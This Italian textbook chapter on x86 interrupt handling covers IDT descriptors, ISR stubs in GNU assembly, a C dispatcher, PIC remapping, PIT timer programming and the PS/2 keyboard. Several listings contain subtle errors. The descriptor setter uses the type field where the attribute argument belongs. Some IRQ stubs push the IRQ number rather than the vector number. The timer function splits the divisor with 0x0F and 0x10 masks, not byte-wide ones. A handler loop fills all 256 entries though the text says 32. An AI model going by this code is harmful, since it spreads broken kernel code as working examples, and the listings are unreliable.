La tabella IDT è costituita da un array di descrittori di interruzione, ognuno dei quali occupa 64 bit. I descrittori possono essere al massimo 256 (da 0 a 255). Nel disegno successivo, viene mostrata la struttura di un descrittore della tabella IDT, prevedendo un accesso a blocchi da 32 bit:

La struttura contiene, in particolare, un selettore di segmento e un indirizzo relativo a tale segmento, riguardante il codice da eseguire quando si manifesta un'interruzione per cui il descrittore è competente (la procedura ISR). L'indirizzo relativo in questione è suddiviso in due parti, da ricomporre in modo abbastanza intuitivo: si prendono le due porzioni dei due blocchi a 32 bit e si uniscono senza dover fare scorrimenti.

Il selettore che si trova nei descrittori della tabella IDT ha la stessa struttura dei selettori usati direttamente con i registri per l'accesso al codice e ai dati. Per i fini degli esempi che vengono mostrati, il livello di privilegi richiesto è zero e la tabella dei descrittori di segmento a cui ci si riferisce è la GDT:

Figura 108.38. Selettore del segmento codice della procedura ISR.

In base a quanto si vede nel disegno e per gli esempi che si fanno nel capitolo, il selettore del segmento codice per le procedure ISR corrisponde a 0008_{16}. Inoltre, negli esempi si fa riferimento esclusivamente a descrittori di tipo *interrupt gate* (a 32 bit).

108.5.2 Codice per la costruzione di una tabella IDT

Per costruire una tabella IDT potrebbe essere usata una struttura abbastanza ordinata; tuttavia, il tipo di descrittore e gli altri attributi non potrebbero essere suddivisi come richiederebbe il caso, pertanto qui si preferisce una struttura che si limita a riprodurre due blocchi a 32 bit, come già fatto nella sezione 108.4 a proposito della tabella GDT.

```
typedef struct {
    uint32_t  w0;
    uint32_t  w1;
} idt_descriptor_t;
```

La funzione successiva riceve come argomento un array di descrittori di una tabella IDT, con l'indicazione dell'indice a cui si vuole fare riferimento e degli attributi che gli si vogliono associare:

```
#include <stdint.h>
static void
idt_descriptor_set (idt_descriptor_t *idt,
                    int               descr,
                    uint32_t          offset,
                    uint32_t          selector,
                    uint32_t          type,
                    uint32_t          attrib)
{
    //
    // Azzera inizialmente la voce.
    //
    idt[descr].w0 = 0;
    idt[descr].w1 = 0;
    //
    // Indirizzo relativo.
    //
    idt[descr].w0 = idt[descr].w0 | (offset & 0x0000FFFF);
    idt[descr].w1 = idt[descr].w1 | (offset & 0xFFFF0000);
    //
    // Selettore di segmento.
    //
    idt[descr].w0 = idt[descr].w0 | ((selector << 16) & 0xFFFF0000);
    //
    // Tipo (gate type).
    //
    idt[descr].w1 = idt[descr].w1 | ((type << 8) & 0x00000F00);
    //
    // Altri attributi.
    //
    idt[descr].w1 = idt[descr].w1 | ((type << 12) & 0x0000F000);
}
```

Per poter usare questa funzione occorre dichiarare prima l'array che rappresenta la tabella IDT. Di norma viene creata con tutti 256 descrittori possibili, assicurandosi che inizialmente siano azzerati effettivamente, anche se sarebbe sufficiente azzerare il bit di validità (il bit 15 del secondo blocco a 32 bit):

```
...
    static idt_descriptor_t idt[256];
...
    for (descr = 0; descr < 256; descr++)
      {
        idt_descriptor_set (idt, descr, 0, 0, 0, 0);
      }
```

```
...
```

Nell'esempio, l'array ***idt[]*** viene creato specificando l'uso di memoria «statica», nell'ipotesi che ciò avvenga dentro una funzione; diversamente, può trattarsi di una variabile globale senza vincoli particolari.

108.5.3 Attivazione della tabella IDT

La tabella IDT può essere collocata in memoria dove si vuole, ma perché il microprocessore la prenda in considerazione, occorre utilizzare un'istruzione specifica con la quale si carica il registro ***IDTR*** (*IDT register*) a 48 bit. Questo registro non è visibile e si carica con l'istruzione '**`LIDT`**', la quale richiede l'indicazione dell'indirizzo di memoria dove si articola una struttura contenente le informazioni necessarie. Si tratta precisamente di quanto si vede nel disegno successivo:

+0 *limite* (16 … 0)

+2 *base* (31 … 7 … 0)

In pratica, vengono usati i primi 16 bit per specificare la grandezza complessiva della tabella IDT e altri 32 bit per indicare l'indirizzo in cui inizia la tabella stessa. Tale indirizzo, sommato al valore specificato nel primo campo, deve dare l'indirizzo dell'ultimo byte della tabella stessa.

Dal momento che la dimensione di un descrittore della tabella IDT è di 8 byte, il valore del limite corrisponde sempre a $8 \times \boldsymbol{n} - 1$, dove ***n*** è la quantità di descrittori della tabella. Così facendo, si può osservare che gli ultimi tre bit del limite sono sempre impostati a uno.

Nel disegno è stato mostrato chiaramente che il primo campo da 16 bit va considerato in modo separato. Infatti, si intende che l'accesso in lettura o in scrittura vada fatto lì esattamente a 16 bit, perché diversamente i dati risulterebbero organizzati in un altro modo. Pertanto, nel disegno viene chiarito che il campo contenente l'indirizzo della tabella, inizia esattamente dopo due byte. In questo caso, con l'aiuto del linguaggio C è facile dichiarare una struttura che riproduce esattamente ciò che serve per identificare una tabella IDT:

```
#include <stdint.h>
typedef struct {
    uint16_t  limit;
    uint32_t  base;
} __attribute__ ((packed)) idtr_t;
```

L'esempio mostrato si riferisce all'uso del compilatore GNU C, con il quale è necessario specificare l'attributo *packet*, per fare in modo che i vari componenti risultino abbinati senza spazi ulteriori di allineamento.

Avendo definito la struttura, si può creare una variabile che la utilizza, tenendo conto che è sufficiente rimanga in essere solo fino a quando viene acquisita la tabella IDT relativa dal microprocessore:

```
...
    idtr_t idtr;
...
```

Per calcolare il valore che rappresenta la dimensione della tabella, occorre moltiplicare la dimensione di ogni voce (8 byte) per la quantità di voci, sottraendo dal risultato una unità. L'esempio presuppone che si tratti di 256 voci:

```
...
    idtr.limit = ((sizeof (idt_descriptor_t)) * 256) - 1;
...
```

L'indirizzo in cui si trova la tabella IDT, può essere assegnato in modo intuitivo:

```
...
    idtr.base  = (uint32_t) &idt[0];
...
```

Per rendere operativo il contenuto della tabella IDT, quando questa è stata popolata correttamente, va indicato al microprocessore l'indirizzo della struttura che contiene le coordinate della tabella stessa, attraverso l'istruzione '**LIDT**' (*load IDT*). Negli esempi seguenti si utilizzano istruzioni del linguaggio assemblatore, secondo la sintassi di GNU AS; in quello seguente, in particolare, si suppone che il registro ***EAX*** contenga l'indirizzo in questione:

```
...
    lidt (%eax)         # EAX contiene l'indirizzo della struttura.
...
```

L'attivazione non richiede altro e non ci sono registri da modificare; pertanto, il listato seguente mostra una funzione che provvede a questo lavoro:

```
.globl  idt_load
#
idt_load:
    enter $0, $0
    .equ idtr_pointer,  8          # Primo parametro.
    mov  idtr_pointer(%ebp), %eax  # Copia il puntatore in EAX.
    leave
    #
    lidt (%eax)         # Utilizza la tabella IDT a cui punta EAX.
    #
    ret
```

Il codice mostrato costituisce una funzione che nel linguaggio C ha il prototipo seguente:

```
idt_load (void *idtr);
```

È il caso di ribadire che l'attivazione della tabella IDT va fatta solo dopo che le sue voci sono state compilate con l'indicazione delle procedure di interruzione (ISR) da eseguire.

108.5.4 Lo stato della pila al verificarsi di un'interruzione

Al verificarsi di un'interruzione (che coinvolge la consultazione della tabella IDT), il microprocessore accumula alcuni registri sulla pila dell'anello in cui deve essere eseguito il codice delle procedure di interruzione (ISR), come si vede nel disegno successivo, dove la pila viene rappresentata in modo crescente dal basso verso l'alto. Va osservato che i registri ***SS*** e ***ESP*** vengono accumulati nella pila solo se i privilegi effettivi cambiano rispetto a quelli del processo da cui si proviene, perché in quel caso, al termine della procedura ISR, occorre ripristinare la pila preesistente; inoltre, quando l'interruzione è causata da un'eccezione prodotta dal microprocessore, in alcuni casi viene accumulato anche un codice di errore.

SS:ESP
SS:ESP
codice di errore
ESP +4 EIP
ESP +8 CS
ESP +12 EFLAGS
ESP +16 ESP
ESP +20 SS
pila precedente
questi elementi sono inseriti solo se cambia il livello di privilegio (anello), pertanto servono a raggiungere la pila dell'anello di origine

Al termine di una procedura di interruzione, per ripristinare correttamente lo stato dei registri, ovvero per riprendere l'attività sospesa, si usa l'istruzione '**`IRET`**'.

108.5.5 Bozza di un gestore di interruzioni

Per costruire un gestore di interruzioni è necessario predisporre un po' di codice in linguaggio assemblatore, dal quale poi è possibile chiamare altro codice scritto con un linguaggio più evoluto. Per poter gestire tutte le interruzioni in modo uniforme, occorre distinguere i casi in cui viene inserito automaticamente un codice di errore nella pila dei dati, da quelli in cui ciò non avviene; pertanto, nell'esempio viene inserito un codice nullo di errore quando non si prevede tale inserimento a cura del microprocessore, in modo da avere la stessa struttura della pila dei dati. Lo schema usato in questo listato è sostanzialmente conforme a un esempio analogo che appare nel documento *Bran's kernel development tutorial*, di Brandon Friesen, citato alla fine del capitolo.

```
.extern interrupt_handler
#
.globl isr_0
```

```
.globl isr_1
…
.globl isr_254
.globl isr_255
#
isr_0:          # division by zero exception
    cli
    push $0     # Codice di errore fittizio.
    push $0     # Numero di procedura ISR.
    jmp isr_common
#
isr_1:          # debug exception
    cli
    push $0     # Codice di errore fittizio.
    push $1     # Numero di procedura ISR.
    jmp isr_common
…
isr_8:          # double fault exception
    cli
    #
    push $8     # Numero di procedura ISR.
    jmp isr_common
…
#
isr_32:         # IRQ 0: timer
    cli
    push $0     # Codice di errore fittizio.
    push $32    # Numero di procedura ISR.
    jmp isr_common
#
isr_33:         # IRQ 1: tastiera
    cli
    push $0     # Codice di errore fittizio.
    push $1     # Numero di procedura ISR.
    jmp isr_common
…
isr_47:         # IRQ 15: canale IDE secondario
    cli
    push $0     # Codice di errore fittizio.
    push $15    # Numero di procedura ISR.
    jmp isr_common
…
#
isr_common:
    pushl %gs
    pushl %fs
    pushl %es
```

```
    pushl %ds
    pushl %edi
    pushl %esi
    pushl %ebp
    pushl %ebx
    pushl %edx
    pushl %ecx
    pushl %eax
    #
    call interrupt_handler
    #
    popl %eax
    popl %ecx
    popl %edx
    popl %ebx
    popl %ebp
    popl %esi
    popl %edi
    popl %ds
    popl %es
    popl %fs
    popl %gs
    add $4, %esp     # Espelle il numero di procedura ISR.
    add $4, %esp     # Espelle il codice di errore (reale o fittizio).
    #
    iret             # ripristina EIP, CS, EFLAGS, SS
                     # e conclude la procedura.
```

Come si può vedere, quando viene chiamata una procedura che non prevede l'esistenza di un codice di errore, come nel caso di ***isr_0()***, al suo posto viene aggiunto un valore fittizio, mentre quando il codice di errore è previsto, come nel caso di ***isr_8()***, questo inserimento nella pila viene a mancare. Prima di eseguire il codice che inizia a partire da ***isr_common()***, lo stato della pila è il seguente:

SS:ESP

numero di procedura ISR (31–0)
codice di errore o zero (31–0)
EIP (31–0)
CS (31–0)
EFLAGS (31–0)
ESP (31–0)
SS (31–0)
pila precedente

questi elementi sono inseriti solo se cambia il livello di privilegio (anello), pertanto servono a raggiungere la pila dell'anello di origine

Il codice che si trova a partire da ***isr_common()*** serve a preparare la chiamata di una funzione, scritta presumibilmente in C, pertanto si procede a salvare i registri; qui si includono anche quelli di segmento, per maggiore scrupolo. Al momento della chiamata, la pila ha la struttura seguente:

SS:ESP
EAX
ECX
EDX
EBX
EBP
ESI
EDI
DS
ES
FS
GS
numero eccezione
codice di errore o zero
EIP
CS
EFLAGS
ESP
SS
pila precedente, relativa all'anello zero

questi elementi sono inseriti solo se cambia il livello di privilegio (anello), pertanto servono a raggiungere la pila dell'anello di origine

In base a questo contenuto della pila, una funzione scritta in C per il trattamento dell'eccezione, può avere il prototipo seguente:

```
void interrupt_handler (uint32_t eax,
                        uint32_t ecx,
                        uint32_t edx,
                        uint32_t ebx,
                        uint32_t ebp,
                        uint32_t esi,
                        uint32_t edi,
                        uint32_t ds,
                        uint32_t es,
                        uint32_t fs,
                        uint32_t gs,
                        uint32_t isr,
                        uint32_t error,
                        uint32_t eip,
                        uint32_t cs,
                        uint32_t eflags, ...);
```

I puntini di sospensione riguardano la possibilità, eventuale, di accedere anche al valori di ***ESP*** e ***SS***, quando il contesto prevede il loro accumulo.

Una volta definita in qualche modo la funzione esterna che tratta le interruzioni, le procedure ISR del file che le raccoglie (quello mostrato in linguaggio assemblatore) servono ad aggiornare la tabella IDT, la quale inizialmente è stata azzerata in modo da annullare l'effetto dei suoi descrittori. Nel listato seguente, ***idt*** è l'array di descrittori che forma la tabella IDT:

```
    idt_descriptor_set (idt, 0, (uint32_t) isr_0, 0x08, 0xE, 0x8);
    idt_descriptor_set (idt, 1, (uint32_t) isr_1, 0x08, 0xE, 0x8);
    idt_descriptor_set (idt, 2, (uint32_t) isr_2, 0x08, 0xE, 0x8);
    …
    …
```

Le procedure ISR inserite nella tabella IDT devono essere solo quelle che sono operative effettivamente; per le altre è meglio lasciare i valori a zero.

108.5.6 Una funzione banale per il controllo delle interruzioni

Viene mostrato un esempio banale per la realizzazione della funzione ***interrupt_handler()***, a cui si fa riferimento nella sezione precedente. Si parte dal presupposto di poter utilizzare la funzione ***printf()***.

```
#include <stdint.h>
#include <inttypes.h>
#include <stdio.h>
void
interrupt_handler (uint32_t eax, uint32_t ecx, uint32_t edx,
                   uint32_t ebx, uint32_t ebp, uint32_t esi,
```

```
                    uint32_t edi, uint32_t ds,  uint32_t es,
                    uint32_t fs,  uint32_t gs,  uint32_t isr,
                    uint32_t error, uint32_t eip, uint32_t cs,
                    uint32_t eflags, ...)
{
    printf ("ISR %3" PRIi32 ", error %08" PRIX32 "\n", isr, error);
}
```

108.5.7 Privilegi e protezioni

Negli esempi mostrati, ogni riferimento a privilegi di esecuzione e di accesso si riferisce sempre all'anello zero, pertanto non si possono creare problemi. Ma la realtà si può presentare in modo più complesso e va osservato che il livello corrente dei privilegi (CPL), nel momento in cui si verifica un'interruzione, non è prevedibile.

La prima cosa da considerare è il livello di privilegio del descrittore (DPL) del segmento codice in cui si trova la procedura ISR, il quale deve essere numericamente inferiore o uguale al livello corrente (CPL) precedente all'interruzione. Di conseguenza, è normale attendersi che le interruzioni comuni siano gestite da procedure ISR collocate in codice con un livello di privilegio del descrittore di segmento pari a zero.

Nel selettore del descrittore di interruzione non viene considerato il valore RPL, anche se è bene che questo sia azzerato.

Il livello di privilegio del descrittore (DPL) di interruzione viene **considerato solo in presenza di un'interruzione prodotta da software**, ovvero per un'interruzione prodotta volontariamente con le istruzioni apposite. In tal caso, il livello di privilegio corrente (CPL) del processo che la genera deve essere numericamente inferiore o uguale a quello del descrittore di interruzione. Pertanto, mettendo un valore DPL per il descrittore di interruzione pari a zero, si impedisce ai processi non privilegiati di far scattare le interruzioni in modo volontario.

Se il segmento codice dove si trova la procedura ISR è di tipo «non conforme», se il livello di privilegio corrente precedente è diverso (in questo contesto può essere solo numericamente maggiore), allora viene modificato e adeguato a quello del segmento codice raggiunto, con l'aggiunta dello scambio della pila di dati. Se invece il segmento codice dove si trova la procedura ISR è di tipo «conforme», non può avvenire alcun miglioramento di privilegi. Tra le altre cose, questa scelta ha anche delle ripercussioni per ciò che riguarda l'accesso ai dati: **il gestore di interruzione che abbia la necessità di accedere a dati che siano al di fuori della pila, deve trovarsi a funzionare all'interno di un segmento codice «non conforme», con privilegi DPL pari a zero**; diversamente (se si accontenta della pila, ovvero di variabili automatiche proprie), può funzionare semplicemente in un segmento codice conforme.

Figura 108.55. Verifica dei privilegi per l'esecuzione di una procedura ISR, a partire da un'interruzione.

interruzione normale
IDT
descrittore
DPL
GDT o LDT
descrittore
DPL
CPL >= DPL
procedura ISR
Se il codice è conforme, il CPL non cambia; se il codice non è conforme, il CPL viene adeguato al DPL del descrittore di segmento.

interruzione software
CPL <= DPL
IDT
descrittore
DPL
GDT o LDT
descrittore
DPL
CPL >= DPL
procedura ISR
Se il codice è conforme, il CPL non cambia; se il codice non è conforme, il CPL viene adeguato al DPL del descrittore di segmento.

108.6 Gestione delle interruzioni

Le interruzioni possono essere fondamentalmente di tre tipi: eccezioni prodotte dal microprocessore, interruzioni hardware (IRQ) e interruzioni prodotte attraverso istruzioni (ovvero interruzioni software). Le interruzioni vanno associate ai descrittori della tabella IDT (*interrupt descriptor table* in modo appropriato.

108.6.1 Eccezioni

Le ***eccezioni*** sono eventi che si manifestano in presenza di errori, di cui è competente direttamente il microprocessore. Le eccezioni sono numerate e sono già associate alla tabella IDT con gli stessi numeri: l'eccezione ***n*** è abbinata al descrittore ***n*** della tabella. Sono previste 32 eccezioni, numerate da 0 a 31, pertanto i descrittori da 0 a 31 della tabella IDT sono già impegnati per questa gestione e vanno utilizzati coerentemente in tale direzione.

Va ricordato che in presenza di alcuni tipi di eccezione, il microprocessore accumula nella pila un codice di errore, pertanto, per uniformare le procedure ISR (*interrupt service routine*), occorre tenere conto dei casi in cui tale informazione è già inserita nella pila, rispetto a quelli dove questa non c'è ed è bene aggiungere un valore fittizio per coerenza.

Tabella 108.56. Elenco delle eccezioni.

Eccezione	Codice di errore aggiunto sulla pila?	Definizione dell'eccezione
0	no	*division by zero*
1	no	*debug*
2	no	*non maskable interrupt*
3	no	*breakpoint*
4	no	*into detected overflow*
5	no	*out of bounds*
6	no	*invalid opcode*

Eccezione	Codice di errore aggiunto sulla pila?	Definizione dell'eccezione
7	no	*no coprocessor*
8	SÌ	*double fault*
9	no	*coprocessor segment overrun*
10	SÌ	*bad TSS*
11	SÌ	*segment not present*
12	SÌ	*stack fault*
13	SÌ	*general protection fault*
14	SÌ	*page fault*
15	no	*unknown interrupt*
16	no	*coprocessor fault*
17	no	*alignment check exception*
18	no	*machine check exception*
da 19 a 31	no	eccezioni riservate per il futuro

Il codice di errore che inserisce il microprocessore sulla pila, quando si verificano le eccezioni che lo prevedono, ha una struttura variabile, in base al tipo di eccezione. Lo schema della figura successiva è abbastanza comune e riguarda un errore per il quale viene fatto riferimento a un selettore (per la tabella GDT, LDT o IDT, in base al contesto).

Figura 108.57. Codice di errore prodotto da alcune eccezioni.

1=eccezione causata da un evento esterno

riservato *selettore*

16 15 3 2 1 0

n. descrittore

0=LDT o GDT
1=IDT

se si tratta di LDT o di GDT
0=GDT
1=LDT

Come si può intendere dal disegno, a seconda dei valori dei bit 1 e 2, il selettore va inteso riguardare una voce della tabella GDT, oppure di una tabella LDT o della tabella IDT stessa.

Quando il codice di errore è completamente a zero, almeno nei primi 16 bit meno significativi, vuol dire che non riguarda un problema collegabile a una voce di una delle tabelle IDT, LDT o GDT.

108.6.2 PIC e rimappatura delle interruzioni

Per affrontare al gestione delle interruzioni hardware, occorre prima premettere una breve introduzione, a causa del fatto che non si tratta di una funzione gestita autonomamente dal microprocessore.

Secondo la tradizione dell'architettura IBM PC/AT, per raccogliere le interruzioni hardware dell'elaboratore sono utilizzati due integrati, chiamati generalmente PIC, ovvero *programmable interrupt controller*, collegati assieme in modo da poter recepire complessivamente quindici interruzioni hardware differenti. Per la precisione, il PIC secondario, se riceve un'interruzione, va a provocare un IRQ 2 nel PIC primario; pertanto, se si ricevono interruzioni tra IRQ 8

e IRQ 15, si ottiene anche un'interruzione su IRQ 2. Dal momento che IRQ 2 è impegnato, quello che sarebbe il segnale di IRQ 2 viene ridiretto a IRQ 9. Il disegno seguente serve solo a chiarire il concetto, dal momento che i collegamenti effettivi sono più complessi:

Le interruzioni hardware, o «IRQ», vanno abbinate a interruzioni della tabella IDT, per poterle gestire in qualche modo. Purtroppo, originariamente esiste già un abbinamento, ma incompatibile con quello delle eccezioni del microprocessore; pertanto, va rifatta la mappa di trasformazione.

Per comunicare con i due PIC e per riprogrammarli, esistono delle porte di comunicazione: 20_{16} e 21_{16} per il PIC principale; $A0_{16}$ e $A1_{16}$ per il PIC secondario. La procedura per rimappare i PIC richiede la scrittura di diversi valori che, a seconda dei casi, prendono il nome di «ICW» (*initialization command word*) e «OCW» (*operation command word*). La funzione seguente, scritta in linguaggio C, permette la rimappatura dei due PIC e abilita automaticamente tutte le interruzioni hardware (che altrimenti potrebbero anche essere mascherate).

```
#include <stdio.h>
void
irq_remap (unsigned int offset_1, unsigned int offset_2)
{
    //
    // PIC_P è il PIC primario o «master»;
    // PIC_S è il PIC secondario o «slave».
    //
    // Quando si manifesta un IRQ che riguarda il PIC secondario,
    // il PIC primario riceve IRQ 2.
    //
    // ICW = initialization command word.
    // OCW = operation command word.
    //
    printf ("kernel: PIC (programmable interrupt controller) remap: ");

    outb (0x20, 0x10 + 0x01);   // Inizializzazione: 0x10 significa che
    outb (0xA0, 0x10 + 0x01);   // si tratta di ICW1; 0x01 significa che
    printf ("ICW1");            // si deve arrivare fino a ICW4.

    outb (0x21, offset_1);      // ICW2: PIC_P a partire da «offset_1».
    outb (0xA1, offset_2);      //       PIC_S a partire da «offset_2».
```

```
    printf (", ICW2");
    outb (0x21, 0x04);          // ICW3 PIC_P: IRQ2 pilotato da PIC_S.
    outb (0xA1, 0x02);          // ICW3 PIC_S: pilota IRQ2 di PIC_P.
    printf (", ICW3");
    outb (0x21, 0x01);          // ICW4: si precisa solo la modalità
    outb (0xA1, 0x01);          // del microprocessore; 0x01 = 8086.
    printf (", ICW4");

    outb (0x21, 0x00);          // OCW1: azzera la maschera in modo da
    outb (0xA1, 0x00);          // abilitare tutti i numeri IRQ.
    printf (", OCW1.\n");
}
```

Nel corso del procedimento di rimappatura delle interruzioni, è necessario fare delle brevissime pause, per dare il tempo ai PIC di recepire le informazioni; a tale proposito sono state aggiunge delle istruzioni che visualizzano il progresso nelle varie fasi di rimappatura. Le sigle che appaiono nei commenti del listato, richiamano i termini usati per identificare i valori che sono attribuiti alle porte, in modo da poter ritrovare nella documentazione dei PIC il significato che hanno.

La funzione proposta nell'esempio riceve due argomenti, corrispondenti allo spostamento delle interruzioni del primo e del secondo PIC. Per esempio, ammesso di voler spostare le interruzioni del primo PIC a partire da 32_{10} e quelle del secondo PIC a partire da 40_{10}, in modo da utilizzare esattamente le voci della tabella IDT successive a quelle delle eccezioni, basta usare la funzione nel modo seguente:

```
…
    irq_remap (32, 40);
…
```

108.6.3 Procedura generalizzata per la gestione delle interruzioni

Nella sezione 108.5.5 appare il codice iniziale, in linguaggio assemblatore, per la gestione delle interruzioni. A partire da lì viene richiamata la funzione ***interrupt_handler()***, dalla quale è possibile risalire al numero di procedura ISR da attivare. Per rendere intercambiabili le funzioni che gestiscono specificatamente ogni singola interruzione, potrebbe essere conveniente predisporre un array di puntatori a funzione, ma per comodità viene dichiarato semplicemente come array di puntatori generici, inizialmente azzerati:

```
…
void *isr_func[256] = {0};
…
```

Le funzioni che si associano agli elementi dell'array devono essere tali da poter gestire l'interruzione di propria competenza. Per esempio, ***isr_func[0]*** deve essere il puntatore di una funzione in grado di gestire l'interruzione derivante dall'eccezione *divide error*.

Ammesso di avere popolato correttamente l'array ***isr_func[]***, la funzione ***interrupt_handler()*** potrebbe essere fatta così:

```
#include <stdint.h>
#include <inttypes.h>
#include <stdio.h>
void
interrupt_handler (uint32_t eax, uint32_t ecx, uint32_t edx,
                   uint32_t ebx, uint32_t ebp, uint32_t esi,
                   uint32_t edi, uint32_t ds,  uint32_t es,
                   uint32_t fs,  uint32_t gs,  uint32_t isr,
                   uint32_t error, uint32_t eip, uint32_t cs,
                   uint32_t eflags, ...)
{
    if (isr > 255)
      {
        printf ("kernel: %s: error: cannot handle ISR %" PRIi32 "!\n",
                __func__, isr);
        return;
      }

    //
    // La variabile handler è un puntatore a funzione che ha
    // due parametri di tipo «unsigned int» a 32 bit e
    // restituisce «void».
    //
    void (*handler) (uint32_t isr, uint32_t error);
    //
    // Carica la funzione associata al numero ISR.
    //
    handler = isr_func[isr];
    //
    // Se il puntatore a funzione è diverso da NULL, allora procede.
    //
    if (handler)
      {
        handler (isr, error);
      }
    //
    // Se si tratta di un'interruzione hardware, occorre informare
    // i PIC coinvolti che l'elaborazione è terminata, attraverso
    // un messaggio «EOI».
    //
    if (isr >= 40 && isr <= 47)
      {
        // PIC secondario.
        outb (0xA0, 0x20);
      }
    //
    if (isr >= 32 && isr <= 47)
      {
```

```
        // Il PIC primario è coinvolto sempre.
        outb (0x20, 0x20);
      }
}
```

Come si vede, per semplificare il tutto, le funzioni che devono elaborare le interruzioni devono avere un prototipo di questo tipo:

```
#include <stdint.h>
void nome_funzione (uint32_t isr, uint32_t error);
```

Una funzione generica, anche se poco graziosa, per il trattamento delle eccezioni potrebbe essere fatta così:

```
#include <inttypes.h>
#include <stdio.h>
void
exception_handler (uint32_t isr, uint32_t error)
{
    printf ("kernel: exception %" PRIi32 ", error %04" PRIX32 "!\n",
             isr, error);
    //
    // Blocca tutto.
    //
    for (;;);
}
```

Per associare la funzione alle prime 32 voci dell'array ***isr_func()***, si potrebbe procedere così:

```
...
int i;
...
for (i = 0; i < 256; i++)
  {
    isr_func[i] = exception_handler;
  }
...
```

Per quanto riguarda le funzioni che devono gestire le interruzioni di origine hardware, bisogna ricordare che il valore del parametro ***isr*** non dà il numero IRQ, ma se fosse necessario calcolarlo basterebbe sottrarre il numero 32 da quello del numero della voce ISR originale.

108.6.4 Attivazione

In precedenza è stato mostrato come si attiva la tabella IDT, attraverso l'istruzione '**`LIDT`**', ma è evidente che questo va fatto solo dopo che la tabella IDT è stata predisposta e che sono state preparate le funzioni per la gestione delle interruzioni (quelle che si vogliono gestire). Ciò che rimane, ammesso di essere pronti a gestire le interruzioni hardware, è l'attivazione di queste interruzioni, con l'istruzione '**`STI`**' del linguaggio assemblatore.

108.7 Gestione del temporizzatore: PIT, ovvero «programmable interval timer»

Negli elaboratori con architettura IBM PC/AT, è previsto un temporizzatore costituito originariamente da un integrato programmabile, contenente tre contatori: uno associato a IRQ 0, uno associato a qualche funzione particolare, dipendente dall'organizzazione dell'hardware, un altro associato all'altoparlante interno. Questo integrato è noto con la sigla PIT, ovvero *programmable interval timer*.

Questo integrato, o comunque ciò che ne fa la funzione, conta degli impulsi provenienti a una frequenza stabilita e, a seconda di come viene programmato, produce un risultato differente nelle sue tre uscite. Per esempio può generare un'onda quadra a una frazione della frequenza ricevuta in ingresso, oppure può emettere altri tipi di segnali, sempre tenendo in considerazione il risultato del conteggio degli impulsi in ingresso.

Per quanto riguarda la gestione del temporizzatore, ovvero della frequenza con cui si vuole ottenere un'interruzione IRQ 0, generalmente si programma il PIT per produrre un'onda quadra.

Secondo lo standard dell'architettura IBM PC/AT, la frequenza che produce gli impulsi in ingresso del PIT è a 1,19 MHz circa. Più precisamente si tratta di 3579545/3 Hz.

La programmazione del PIT avviene inviando un comando (*command word*, o CW), costituito da un byte, alla porta 43_{16}, con il quale, in particolare, si specifica il contatore a cui ci si vuole riferire. Successivamente, a seconda del comando inviato, possono essere trasmessi altri valori alla porta riservata specificatamente per il contatore a cui si è interessati. Il contatore zero che serve a produrre le interruzioni IRQ 0, riceve questi valori dalla porta 40_{16}, mentre la porta 42_{16} è quella del contatore tre, associato all'altoparlante interno (il contatore uno sarebbe associato alla porta 41_{16}, ma in pratica non può essere utilizzato).

Figura 108.65. Comando da inviare alla porta 43_{16}.

7 6 | 5 4 | 3 2 1 | 0

contatore: 0, 1, 2

tipo di lettura o di scrittura:
1 = LSB (byte meno significativo)
2 = MSB (byte più significativo)
3 = prima LSB, poi MSB

il contatore utilizza:
0 = un numero binario a 16 bit (max 65535)
1 = un numero decimale a quattro cifre BCD (max 9999)

modalità per il segnale di uscita:
0 = interrupt on terminal count
1 = hardware retriggerable one shot
2 = rate generator
3 = square wave mode
4 = software strobe
5 = hardware strobe

0, 1
2
3
4, 5

La figura appena apparsa schematizza in che modo va composto o interpretato il comando da inviare al PIT. Per quanto riguarda la modalità di funzionamento, quella che serve per generare le interruzioni è la numero 3 (onda quadra); per conoscere il significato delle altre modalità si possono consultare i documenti citati alla fine del capitolo. Il resto delle componenti di un comando dovrebbe essere abbastanza comprensibile, ma vale la pena di riassumere brevemente. I primi due bit più significativi indicano il contatore a cui si vuole fare riferimento. Altri due bit indicano cosa deve essere trasmesso, successivamente al comando, attraverso la porta dei dati: un solo byte, a scelta tra il meno significativo o il più significativo, oppure entrambi i byte, a cominciare da quello meno significativo. Altri tre bit definiscono la modalità. Per quanto riguarda il senso del bit meno significativo, occorre considerare che il contatore degli impulsi ricevuti in ingresso può utilizzare un valore a 16 bit (cosa che si fa normalmente), oppure un numero a sole quattro cifre in base dieci (i 16 bit del contatore verrebbero divisi in quattro gruppi da quattro bit, ognuno dei quali viene usato esclusivamente per rappresentare valori da zero a nove).

Per programmare il contatore zero, in modo che generi una certa frequenza (purché inferiore a 1,19 MHz), si usa normalmente il comando 36_{16}, il quale: seleziona il contatore zero; stabilisce che il valore da comunicare successivamente viene trasmesso usando due byte (prima quello meno significativo, poi quello più significativo); richiede una modalità di funzionamento a onda quadra; richiede di utilizzare il contatore in modo binario, a 16 bit. Successivamente al comando si usa il valore che rappresenta il divisore della frequenza di 1,19 MHz. Per esempio, volendo generare una frequenza vicina a 100 Hz, dopo aver inviato il comando 36_{16} alla porta 43_{16}, occorre inviare il valore 11931_{10}, separandolo in due byte, alla porta 40_{16}.

Va osservato che il valore del divisore può utilizzare al massimo 16 bit complessivamente, partendo da uno (lo zero non è ammissibile per ovvi motivi). Pertanto, si può dividere la frequenza di ingresso al massimo di 65535 volte.

Segue l'esempio di una funzione con la quale si programma la frequenza delle interruzioni IRQ 0, ma senza verificare che il valore richiesto sia valido:

```
void
timer_freq (int freq)
{
    int input_freq = 1193181;
    int divisor = input_freq / freq;
    outb (0x43, 0x36);             // CW: «command word».
    outb (0x40, divisor & 0x0F);   // LSB: byte inferiore del divisore.
    outb (0x40, divisor / 0x10);   // MSB: byte superiore del divisore.
}
```

Se il PIT non viene riprogrammato, inizialmente lo si trova configurato in modo da generare una frequenza (a onda quadra) di 18,222 Hz che è quella più bassa possibile.

108.8 Tastiera PS/2

La tastiera PS/2 di un elaboratore IBM PC/AT produce un'interruzione ogni volta che si preme o si rilascia un tasto, quindi si può leggere tale codice dalla porta 60_{16}. Per la precisione, dalla porta 60_{16} si può leggere un solo byte alla volta, mentre ci sono situazioni in cui i codici generati dalla pressione o dal rilascio dei tasti sono formati da una sequenza di più byte; pertanto, la tastiera possiede una propria memoria tampone, dalla quale si può leggere sequenzialmente.

Il funzionamento della tastiera può essere configurato, inviando, a porte differenti, dei comandi che qui non vengono trattati; tuttavia la documentazione annotata nella bibliografia riporta tali informazioni.

